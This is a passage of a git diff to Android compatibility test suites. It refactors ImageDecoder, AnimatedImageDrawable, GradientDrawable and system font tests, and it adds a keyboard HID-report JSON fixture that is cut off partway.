+ private Object[] crossProduct(Object[] a, Object[] b) {
+ final int length = a.length * b.length;
+ Object[] ret = new Object[length];
+ for (int i = 0; i < a.length; i++) {
+ for (int j = 0; j < b.length; j++) {
+ int index = i * b.length + j;
+ assertNull(ret[index]);
+ ret[index] = new Object[] { a[i], b[j] };
+ }
+ }
+ return ret;
+ }
+
+ private Object[] getRecordsAsSources() {
+ return crossProduct(getRecords(), mCreators);
+ }
+
+
@Test
@LargeTest
- public void testReuse() {
- for (Record record : RECORDS) {
- if (record.mimeType.equals("image/heif")) {
- // This image takes too long for this test.
- continue;
- }
-
- String name = getAsResourceUri(record.resId).toString();
- for (SourceCreator f : mCreators) {
- ImageDecoder.Source src = f.apply(record.resId);
- testReuse(src, name);
- }
-
- {
- ImageDecoder.Source src = ImageDecoder.createSource(mRes, record.resId);
- testReuse(src, name);
- }
-
- for (UriCreator f : mUriCreators) {
- Uri uri = f.apply(record.resId);
- ImageDecoder.Source src = ImageDecoder.createSource(mContentResolver, uri);
- testReuse(src, uri.toString());
- }
-
- {
- ImageDecoder.Source src = ImageDecoder.createSource(getAsFile(record.resId));
- testReuse(src, name);
- }
+ @Parameters(method = "getRecordsAsSources")
+ public void testReuse(Record record, SourceCreator f) {
+ if (record.mimeType.equals("image/heif")) {
+ // This image takes too long for this test.
+ return;
}
- AssetManager assets = mRes.getAssets();
- for (AssetRecord record : ASSETS) {
- ImageDecoder.Source src = ImageDecoder.createSource(assets, record.name);
- testReuse(src, record.name);
+ String name = getAsResourceUri(record.resId).toString();
+ ImageDecoder.Source src = f.apply(record.resId);
+ testReuse(src, name);
+ }
+
+ @Test
+ @Parameters(method = "getRecords")
+ public void testReuse2(Record record) {
+ if (record.mimeType.equals("image/heif")) {
+ // This image takes too long for this test.
+ return;
}
+ String name = getAsResourceUri(record.resId).toString();
+ ImageDecoder.Source src = ImageDecoder.createSource(getResources(), record.resId);
+ testReuse(src, name);
+ src = ImageDecoder.createSource(getAsFile(record.resId));
+ testReuse(src, name);
+ }
+
+ private Object[] getRecordsAsUris() {
+ return crossProduct(getRecords(), mUriCreators);
+ }
+
+
+ @Test
+ @Parameters(method = "getRecordsAsUris")
+ public void testReuseUri(Record record, UriCreator f) {
+ if (record.mimeType.equals("image/heif")) {
+ // This image takes too long for this test.
+ return;
+ }
+
+ Uri uri = f.apply(record.resId);
+ ImageDecoder.Source src = ImageDecoder.createSource(getContentResolver(), uri);
+ testReuse(src, uri.toString());
+ }
+
+ @Test
+ @Parameters(method = "getAssetRecords")
+ public void testReuseAssetRecords(AssetRecord record) {
+ AssetManager assets = getResources().getAssets();
+ ImageDecoder.Source src = ImageDecoder.createSource(assets, record.name);
+ testReuse(src, record.name);
+ }
+
+
+ @Test
+ public void testReuseAnimated() {
ImageDecoder.Source src = mCreators[0].apply(R.drawable.animated);
testReuse(src, "animated.gif");
}
@Test
public void testIsMimeTypeSupported() {
- for (Record record : RECORDS) {
+ for (Object r : getRecords()) {
+ Record record = (Record) r;
assertTrue(record.mimeType, ImageDecoder.isMimeTypeSupported(record.mimeType));
}
@@ -2450,4 +2578,33 @@
assertFalse(ImageDecoder.isMimeTypeSupported("image/x-does-not-exist"));
}
+
+ @Test(expected = FileNotFoundException.class)
+ public void testBadUri() throws IOException {
+ Uri uri = new Uri.Builder()
+ .scheme(ContentResolver.SCHEME_ANDROID_RESOURCE)
+ .authority("authority")
+ .appendPath("drawable")
+ .appendPath("bad")
+ .build();
+ ImageDecoder.Source src = ImageDecoder.createSource(getContentResolver(), uri);
+ ImageDecoder.decodeDrawable(src);
+ }
+
+ @Test(expected = FileNotFoundException.class)
+ public void testBadUri2() throws IOException {
+ // This URI will attempt to open a file from EmptyProvider, which always
+ // returns null. This test ensures that we throw FileNotFoundException,
+ // instead of a NullPointerException when attempting to dereference null.
+ Uri uri = Uri.parse(ContentResolver.SCHEME_CONTENT + "://"
+ + "android.graphics.cts.assets/bad");
+ ImageDecoder.Source src = ImageDecoder.createSource(getContentResolver(), uri);
+ ImageDecoder.decodeDrawable(src);
+ }
+
+ @Test(expected = FileNotFoundException.class)
+ public void testBadCallable() throws IOException {
+ ImageDecoder.Source src = ImageDecoder.createSource(() -> null);
+ ImageDecoder.decodeDrawable(src);
+ }
}
diff --git a/tests/tests/graphics/src/android/graphics/cts/YuvImageTest.java b/tests/tests/graphics/src/android/graphics/cts/YuvImageTest.java
index ad8f0af..61c2c4c 100644
--- a/tests/tests/graphics/src/android/graphics/cts/YuvImageTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/YuvImageTest.java
@@ -16,7 +16,6 @@
package android.graphics.cts;
import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
@@ -34,6 +33,8 @@
import androidx.test.filters.SmallTest;
import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.BitmapUtils;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -253,13 +254,13 @@
Bitmap actual = null;
boolean sameRect = rect1.equals(rect2) ? true : false;
- Rect actualRect = new Rect(rect2);
+ Rect actualRect = new Rect(rect2);
actual = compressDecompress(image, actualRect);
Rect expectedRect = sameRect ? actualRect : rect1;
expected = Bitmap.createBitmap(testBitmap, expectedRect.left, expectedRect.top,
expectedRect.width(), expectedRect.height());
- compareBitmaps(expected, actual, MSE_MARGIN, sameRect);
+ BitmapUtils.assertBitmapsMse(expected, actual, MSE_MARGIN, sameRect, false);
}
// Compress rect in image.
@@ -275,7 +276,7 @@
expected = Bitmap.createBitmap(testBitmap, newRect.left, newRect.top,
newRect.width(), newRect.height());
- compareBitmaps(expected, actual, MSE_MARGIN, true);
+ BitmapUtils.assertBitmapsMse(expected, actual, MSE_MARGIN, true, false);
}
// Compress rect in image to a jpeg and then decode the jpeg to a bitmap.
@@ -334,50 +335,6 @@
return yuv;
}
- // Compare expected to actual to see if their diff is less then mseMargin.
- // lessThanMargin is to indicate whether we expect the diff to be
- // "less than" or "no less than".
- private void compareBitmaps(Bitmap expected, Bitmap actual,
- int mseMargin, boolean lessThanMargin) {
- assertEquals("mismatching widths", expected.getWidth(),
- actual.getWidth());
- assertEquals("mismatching heights", expected.getHeight(),
- actual.getHeight());
-
- double mse = 0;
- int width = expected.getWidth();
- int height = expected.getHeight();
- int[] expColors = new int [width * height];
- expected.getPixels(expColors, 0, width, 0, 0, width, height);
-
- int[] actualColors = new int [width * height];
- actual.getPixels(actualColors, 0, width, 0, 0, width, height);
-
- for (int row = 0; row < height; ++row) {
- for (int col = 0; col < width; ++col) {
- int idx = row * width + col;
- mse += distance(expColors[idx], actualColors[idx]);
- }
- }
- mse /= width * height;
-
- Log.i(TAG, "MSE: " + mse);
- if (lessThanMargin) {
- assertTrue("MSE too large for normal case: " + mse,
- mse <= mseMargin);
- } else {
- assertFalse("MSE too small for abnormal case: " + mse,
- mse <= mseMargin);
- }
- }
-
- private double distance(int exp, int actual) {
- int r = Color.red(actual) - Color.red(exp);
- int g = Color.green(actual) - Color.green(exp);
- int b = Color.blue(actual) - Color.blue(exp);
- return r * r + g * g + b * b;
- }
-
private void argb2yuv(int argb, byte[] yuv) {
int r = Color.red(argb);
int g = Color.green(argb);
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
index 3f5c692..258af51 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
@@ -56,7 +56,10 @@
import org.xmlpull.v1.XmlPullParser;
import org.xmlpull.v1.XmlPullParserException;
+import java.io.ByteArrayOutputStream;
import java.io.IOException;
+import java.io.InputStream;
+import java.nio.ByteBuffer;
import java.util.function.BiFunction;
@RunWith(AndroidJUnit4.class)
@@ -522,7 +525,7 @@
testDrawable.draw(canvas);
}
- BitmapUtils.compareBitmaps(expected, actual);
+ assertTrue(BitmapUtils.compareBitmaps(expected, actual));
}
@Test
@@ -601,7 +604,7 @@
drawable.getIntrinsicHeight(), Bitmap.Config.ARGB_8888);
Canvas canvas = new Canvas(test);
drawable.draw(canvas);
- BitmapUtils.compareBitmaps(expected, test);
+ assertTrue(BitmapUtils.compareBitmaps(expected, test));
}
@Test
@@ -670,4 +673,91 @@
aid = (AnimatedImageDrawable) drawable;
assertEquals(AnimatedImageDrawable.REPEAT_INFINITE, aid.getRepeatCount());
}
+
+ // Verify that decoding on the AnimatedImageThread works.
+ private void decodeInBackground(AnimatedImageDrawable drawable) throws Throwable {
+ final Callback cb = new Callback(drawable);
+ mActivityRule.runOnUiThread(() -> {
+ setContentView(drawable);
+ drawable.registerAnimationCallback(cb);
+ drawable.start();
+ });
+
+ // The first frame was decoded in the thread that created the
+ // AnimatedImageDrawable. Wait long enough to decode further threads on
+ // the AnimatedImageThread, which was not created with a JNI interface
+ // pointer.
+ cb.waitForStart();
+ cb.waitForEnd(DURATION * 2);
+ }
+
+ @Test
+ public void testInputStream() throws Throwable {
+ try (InputStream in = mRes.openRawResource(R.drawable.animated)) {
+ ImageDecoder.Source src =
+ ImageDecoder.createSource(mRes, in, Bitmap.DENSITY_NONE);
+ AnimatedImageDrawable drawable =
+ (AnimatedImageDrawable) ImageDecoder.decodeDrawable(src);
+ decodeInBackground(drawable);
+ }
+
+ }
+
+ private byte[] getAsByteArray() {
+ ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+ try (InputStream in = mRes.openRawResource(RES_ID)) {
+ byte[] buf = new byte[4096];
+ int bytesRead;
+ while ((bytesRead = in.read(buf)) != -1) {
+ outputStream.write(buf, 0, bytesRead);
+ }
+ } catch (IOException e) {
+ fail("Failed to read resource: " + e);
+ }
+
+ return outputStream.toByteArray();
+ }
+
+ private ByteBuffer getAsDirectByteBuffer() {
+ byte[] array = getAsByteArray();
+ ByteBuffer byteBuffer = ByteBuffer.allocateDirect(array.length);
+ byteBuffer.put(array);
+ byteBuffer.position(0);
+ return byteBuffer;
+ }
+
+ private AnimatedImageDrawable createFromByteBuffer(ByteBuffer byteBuffer) {
+ ImageDecoder.Source src = ImageDecoder.createSource(byteBuffer);
+ try {
+ return (AnimatedImageDrawable) ImageDecoder.decodeDrawable(src);
+ } catch (IOException e) {
+ fail("Failed to create decoder: " + e);
+ return null;
+ }
+ }
+
+ @Test
+ public void testByteBuffer() throws Throwable {
+ // Natively, this tests ByteArrayStream.
+ byte[] array = getAsByteArray();
+ ByteBuffer byteBuffer = ByteBuffer.wrap(array);
+ final AnimatedImageDrawable drawable = createFromByteBuffer(byteBuffer);
+ decodeInBackground(drawable);
+ }
+
+ @Test
+ public void testReadOnlyByteBuffer() throws Throwable {
+ // Natively, this tests ByteBufferStream.
+ byte[] array = getAsByteArray();
+ ByteBuffer byteBuffer = ByteBuffer.wrap(array).asReadOnlyBuffer();
+ final AnimatedImageDrawable drawable = createFromByteBuffer(byteBuffer);
+ decodeInBackground(drawable);
+ }
+
+ @Test
+ public void testDirectByteBuffer() throws Throwable {
+ ByteBuffer byteBuffer = getAsDirectByteBuffer();
+ final AnimatedImageDrawable drawable = createFromByteBuffer(byteBuffer);
+ decodeInBackground(drawable);
+ }
}
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableWrapperTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableWrapperTest.java
index 5b4ec32..a230a9e 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableWrapperTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableWrapperTest.java
@@ -411,6 +411,15 @@
wrapper.getConstantState();
}
+ @Test
+ public void testJumpToCurrentStateInvoked() {
+ MockDrawable inner = new MockDrawable();
+ DrawableWrapper wrapper = new MockDrawableWrapper(inner);
+
+ wrapper.jumpToCurrentState();
+ assertTrue(inner.isJumpToCurrentStateInvoked());
+ }
+
// Since Mockito can't mock or spy on protected methods, we have a custom extension
// of Drawable to track calls to protected methods. This class also has empty implementations
// of the base abstract methods.
@@ -419,6 +428,17 @@
private ColorFilter mColorFilter;
private Insets mInsets = null;
+ private boolean mJumpToCurrentStateInvoked = false;
+
+ public boolean isJumpToCurrentStateInvoked() {
+ return mJumpToCurrentStateInvoked;
+ }
+
+ @Override
+ public void jumpToCurrentState() {
+ mJumpToCurrentStateInvoked = true;
+ }
+
@Override
public void draw(Canvas canvas) {
}
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/GradientDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/GradientDrawableTest.java
index 8650f00..b4a4320 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/GradientDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/GradientDrawableTest.java
@@ -48,6 +48,7 @@
import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
+import org.junit.Ignore;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.xmlpull.v1.XmlPullParser;
@@ -744,10 +745,51 @@
@Test
public void testGradientNegativeAngle() {
+ verifyGradientOrientation(R.drawable.gradientdrawable_negative_angle,
+ Orientation.TOP_BOTTOM);
+ verifyGradientOrientation(R.drawable.gradientdrawable_negative_angle_45,
+ Orientation.TL_BR);
+ verifyGradientOrientation(R.drawable.gradientdrawable_negative_angle_90,
+ Orientation.TOP_BOTTOM);
+ verifyGradientOrientation(R.drawable.gradientdrawable_negative_angle_135,
+ Orientation.TR_BL);
+ verifyGradientOrientation(R.drawable.gradientdrawable_negative_angle_180,
+ Orientation.RIGHT_LEFT);
+ verifyGradientOrientation(R.drawable.gradientdrawable_negative_angle_225,
+ Orientation.BR_TL);
+ verifyGradientOrientation(R.drawable.gradientdrawable_negative_angle_270,
+ Orientation.BOTTOM_TOP);
+ verifyGradientOrientation(R.drawable.gradientdrawable_negative_angle_315,
+ Orientation.BL_TR);
+ verifyGradientOrientation(R.drawable.gradientdrawable_negative_angle_360,
+ Orientation.LEFT_RIGHT);
+ }
+
+ private void verifyGradientOrientation(int resId, Orientation expected) {
+ final Context context = InstrumentationRegistry.getTargetContext();
+ assertEquals(expected,
+ ((GradientDrawable) context.getDrawable(resId)).getOrientation());
+ }
+
+ @Ignore("Disabling temporarily while actual fix to maintain behavioral differences of "
+ + "orientation xml and programmatically defined GradientDrawables")
+ @Test
+ public void testGradientNoAngle() {
+ // Verify that the default orientation for a GradientDrawable defined in xml is
+ // LEFT_RIGHT. This differs from the default behavior of programmatically defined
+ // GradientDrawables
final Context context = InstrumentationRegistry.getTargetContext();
GradientDrawable drawable = (GradientDrawable)
- context.getDrawable(R.drawable.gradientdrawable_negative_angle);
- assertEquals(Orientation.TOP_BOTTOM, drawable.getOrientation());
+ context.getDrawable(R.drawable.gradientdrawable_no_angle);
+ assertEquals(Orientation.LEFT_RIGHT, drawable.getOrientation());
+ }
+
+ @Test
+ public void testDynamicGradientDefaultOrientation() {
+ // Verify that the default orientation for a programmatically defined GradientDrawable is
+ // TOP_BOTTOM. This differs from the default behavior of xml inflated GradientDrawables
+ // that default to LEFT_RIGHT
+ assertEquals(Orientation.TOP_BOTTOM, new GradientDrawable().getOrientation());
}
@Test
diff --git a/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontHelper.java b/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontHelper.java
index 87b8da2..9f9d603 100644
--- a/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontHelper.java
+++ b/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontHelper.java
@@ -16,11 +16,13 @@
package android.graphics.fonts;
+import android.os.LocaleList;
import android.util.Pair;
import java.io.File;
-import java.io.IOException;
+import java.util.Arrays;
import java.util.HashSet;
+import java.util.Objects;
import java.util.Set;
public class NativeSystemFontHelper {
@@ -28,6 +30,53 @@
System.loadLibrary("ctsgraphics_jni");
}
+ /**
+ * Helper class for representing the system font obtained in native code.
+ */
+ public static class FontDescriptor {
+ String mFilePath;
+ int mWeight;
+ int mSlant;
+ int mIndex;
+ FontVariationAxis[] mAxes;
+ LocaleList mLocale;
+
+ @Override
+ public boolean equals(Object o) {
+ if (o == this) {
+ return true;
+ }
+ if (o == null || !(o instanceof FontDescriptor)) {
+ return false;
+ }
+ FontDescriptor f = (FontDescriptor) o;
+ return f.mFilePath.equals(mFilePath)
+ && f.mWeight == mWeight
+ && f.mSlant == mSlant
+ && f.mIndex == mIndex
+ && Arrays.equals(f.mAxes, mAxes)
+ && Objects.equals(f.mLocale, mLocale);
+ }
+
+ @Override
+ public int hashCode() {
+ return Objects.hash(mFilePath, mWeight, mSlant, mIndex, Arrays.hashCode(mAxes),
+ mLocale);
+ }
+
+ @Override
+ public String toString() {
+ return "Font {"
+ + " path = " + mFilePath
+ + " weight = " + mWeight
+ + " slant = " + mSlant
+ + " index = " + mIndex
+ + " axes = " + FontVariationAxis.toFontVariationSettings(mAxes)
+ + " locale = " + mLocale
+ + "}";
+ }
+ }
+
private static String tagToStr(int tag) {
char[] buf = new char[4];
buf[0] = (char) ((tag >> 24) & 0xFF);
@@ -37,26 +86,25 @@
return String.valueOf(buf);
}
- public static Set<Font> getAvailableFonts() {
+ public static Set<FontDescriptor> getAvailableFonts() {
long iterPtr = nOpenIterator();
- HashSet<Font> nativeFonts = new HashSet<>();
+ HashSet<FontDescriptor> nativeFonts = new HashSet<>();
try {
for (long fontPtr = nNext(iterPtr); fontPtr != 0; fontPtr = nNext(iterPtr)) {
try {
- FontVariationAxis[] axes = new FontVariationAxis[nGetAxisCount(fontPtr)];
- for (int i = 0; i < axes.length; ++i) {
- axes[i] = new FontVariationAxis(
- tagToStr(nGetAxisTag(fontPtr, i)), nGetAxisValue(fontPtr, i));
+ FontDescriptor font = new FontDescriptor();
+ font.mFilePath = nGetFilePath(fontPtr);
+ font.mWeight = nGetWeight(fontPtr);
+ font.mSlant = nIsItalic(fontPtr)
+ ? FontStyle.FONT_SLANT_ITALIC : FontStyle.FONT_SLANT_UPRIGHT;
+ font.mIndex = nGetCollectionIndex(fontPtr);
+ font.mAxes = new FontVariationAxis[nGetAxisCount(fontPtr)];
+ for (int i = 0; i < font.mAxes.length; ++i) {
+ font.mAxes[i] = new FontVariationAxis(
+ tagToStr(nGetAxisTag(fontPtr, i)), nGetAxisValue(fontPtr, i));
}
- nativeFonts.add(new Font.Builder(new File(nGetFilePath(fontPtr)))
- .setWeight(nGetWeight(fontPtr))
- .setSlant(nIsItalic(fontPtr)
- ? FontStyle.FONT_SLANT_ITALIC : FontStyle.FONT_SLANT_UPRIGHT)
- .setTtcIndex(nGetCollectionIndex(fontPtr))
- .setFontVariationSettings(axes)
- .build());
- } catch (IOException e) {
- throw new RuntimeException(e);
+ font.mLocale = LocaleList.forLanguageTags(nGetLocale(fontPtr));
+ nativeFonts.add(font);
} finally {
nCloseFont(fontPtr);
}
diff --git a/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontTest.java b/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontTest.java
index 9f39ed4..de6ab63 100644
--- a/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontTest.java
+++ b/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontTest.java
@@ -29,24 +29,43 @@
import org.junit.runner.RunWith;
import java.io.File;
+import java.util.HashSet;
import java.util.Set;
@SmallTest
@RunWith(AndroidJUnit4.class)
public class NativeSystemFontTest {
+ public Set<NativeSystemFontHelper.FontDescriptor> convertToDescriptors(Set<Font> fonts) {
+ HashSet<NativeSystemFontHelper.FontDescriptor> out = new HashSet<>();
+ for (Font f : fonts) {
+ NativeSystemFontHelper.FontDescriptor font =
+ new NativeSystemFontHelper.FontDescriptor();
+ font.mFilePath = f.getFile().getAbsolutePath();
+ font.mWeight = f.getStyle().getWeight();
+ font.mSlant = f.getStyle().getSlant();
+ font.mIndex = f.getTtcIndex();
+ font.mAxes = f.getAxes();
+ font.mLocale = f.getLocaleList();
+ out.add(font);
+ }
+ return out;
+ }
+
@Test
public void testSameResultAsJava() {
- Set<Font> javaFonts = SystemFonts.getAvailableFonts();
- Set<Font> nativeFonts = NativeSystemFontHelper.getAvailableFonts();
+ Set<NativeSystemFontHelper.FontDescriptor> javaFonts =
+ convertToDescriptors(SystemFonts.getAvailableFonts());
+ Set<NativeSystemFontHelper.FontDescriptor> nativeFonts =
+ NativeSystemFontHelper.getAvailableFonts();
assertEquals(javaFonts.size(), nativeFonts.size());
- for (Font f : nativeFonts) {
+ for (NativeSystemFontHelper.FontDescriptor f : nativeFonts) {
assertTrue(javaFonts.contains(f));
}
- for (Font f : javaFonts) {
+ for (NativeSystemFontHelper.FontDescriptor f : javaFonts) {
assertTrue(nativeFonts.contains(f));
}
}
diff --git a/tests/tests/graphics/src/android/graphics/fonts/SystemFontsTest.java b/tests/tests/graphics/src/android/graphics/fonts/SystemFontsTest.java
index f97d463..18d6758 100644
--- a/tests/tests/graphics/src/android/graphics/fonts/SystemFontsTest.java
+++ b/tests/tests/graphics/src/android/graphics/fonts/SystemFontsTest.java
@@ -48,7 +48,6 @@
public static Collection<Object[]> getParameters() {
ArrayList<Object[]> allParams = new ArrayList<>();
allParams.add(new Object[] { SystemFonts.getAvailableFonts() });
- allParams.add(new Object[] { NativeSystemFontHelper.getAvailableFonts() });
return allParams;
}
diff --git a/tests/tests/hardware/res/raw/microsoft_designer_keyboard_keyeventtests.json b/tests/tests/hardware/res/raw/microsoft_designer_keyboard_keyeventtests.json
new file mode 100644
index 0000000..13c4be3
--- /dev/null
+++ b/tests/tests/hardware/res/raw/microsoft_designer_keyboard_keyeventtests.json
@@ -0,0 +1,490 @@
+[
+ {
+ "name": "Press A",
+ "source": "KEYBOARD | DPAD",
+ "reports": [
+ [0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "A"},
+ {"action": "UP", "keycode": "A"}
+ ]
+ },
+ {
+ "name": "Press Left Ctrl + T",
+ "source": "KEYBOARD | DPAD",
+ "reports": [
+ [0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x01, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "CTRL_LEFT", "metaState": "CTRL_LEFT"},
+ {"action": "DOWN", "keycode": "T", "metaState": "CTRL_LEFT"},
+ {"action": "UP", "keycode": "T", "metaState": "CTRL_LEFT"},
+ {"action": "UP", "keycode": "CTRL_LEFT", "metaState": ""}
+ ]
+ },
+ {
+ "name": "Press Left Shift + X",
+ "source": "KEYBOARD | DPAD",
+ "reports": [
+ [0x01, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x02, 0x1b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "SHIFT_LEFT", "metaState": "SHIFT_LEFT"},
+ {"action": "DOWN", "keycode": "X", "metaState": "SHIFT_LEFT"},
+ {"action": "UP", "keycode": "X", "metaState": "SHIFT_LEFT"},
+ {"action": "UP", "keycode": "SHIFT_LEFT", "metaState": ""}
+ ]
+ },
+ {
+ "name": "Press Left Alt + S",
+ "source": "KEYBOARD | DPAD",
+ "reports": [
+ [0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x04, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "ALT_LEFT", "metaState": "ALT_LEFT"},
+ {"action": "DOWN", "keycode": "S", "metaState": "ALT_LEFT"},
+ {"action": "UP", "keycode": "S", "metaState": "ALT_LEFT"},
+ {"action": "UP", "keycode": "ALT_LEFT", "metaState": ""}
+ ]
+ },
+ {
+ "name": "Press Left Ctrl + Left Alt + V",
+ "source": "KEYBOARD | DPAD",
+ "reports": [
+ [0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x05, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "CTRL_LEFT", "metaState": "CTRL_LEFT"},
+ {"action": "DOWN", "keycode": "ALT_LEFT", "metaState": "CTRL_LEFT | ALT_LEFT"},
+ {"action": "DOWN", "keycode": "V", "metaState": "CTRL_LEFT | ALT_LEFT"},
+ {"action": "UP", "keycode": "V", "metaState": "CTRL_LEFT | ALT_LEFT"},
+ {"action": "UP", "keycode": "CTRL_LEFT", "metaState": "ALT_LEFT"},
+ {"action": "UP", "keycode": "ALT_LEFT", "metaState": ""}
+ ]
+ },
+ {
+ "name": "Press Left Ctrl + Left Shift + M",
+ "source": "KEYBOARD | DPAD",
+ "reports": [
+ [0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x03, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "CTRL_LEFT", "metaState": "CTRL_LEFT"},
+ {"action": "DOWN", "keycode": "SHIFT_LEFT", "metaState": "CTRL_LEFT | SHIFT_LEFT"},
+ {"action": "DOWN", "keycode": "M", "metaState": "CTRL_LEFT | SHIFT_LEFT"},
+ {"action": "UP", "keycode": "M", "metaState": "CTRL_LEFT | SHIFT_LEFT"},
+ {"action": "UP", "keycode": "CTRL_LEFT", "metaState": "SHIFT_LEFT"},
+ {"action": "UP", "keycode": "SHIFT_LEFT", "metaState": ""}
+ ]
+ },
+ {
+ "name": "Press Left Alt + Left Shift + W",
+ "source": "KEYBOARD | DPAD",
+ "reports": [
+ [0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x06, 0x1a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "ALT_LEFT", "metaState": "ALT_LEFT"},
+ {"action": "DOWN", "keycode": "SHIFT_LEFT", "metaState": "ALT_LEFT | SHIFT_LEFT"},
+ {"action": "DOWN", "keycode": "W", "metaState": "ALT_LEFT | SHIFT_LEFT"},
+ {"action": "UP", "keycode": "W", "metaState": "ALT_LEFT | SHIFT_LEFT"},
+ {"action": "UP", "keycode": "ALT_LEFT", "metaState": "SHIFT_LEFT"},
+ {"action": "UP", "keycode": "SHIFT_LEFT", "metaState": ""}
+ ]
+ },
+ {
+ "name": "Press Left Ctrl + Left Alt + Left Shift + P",
+ "source": "KEYBOARD | DPAD",
+ "reports": [
+ [0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
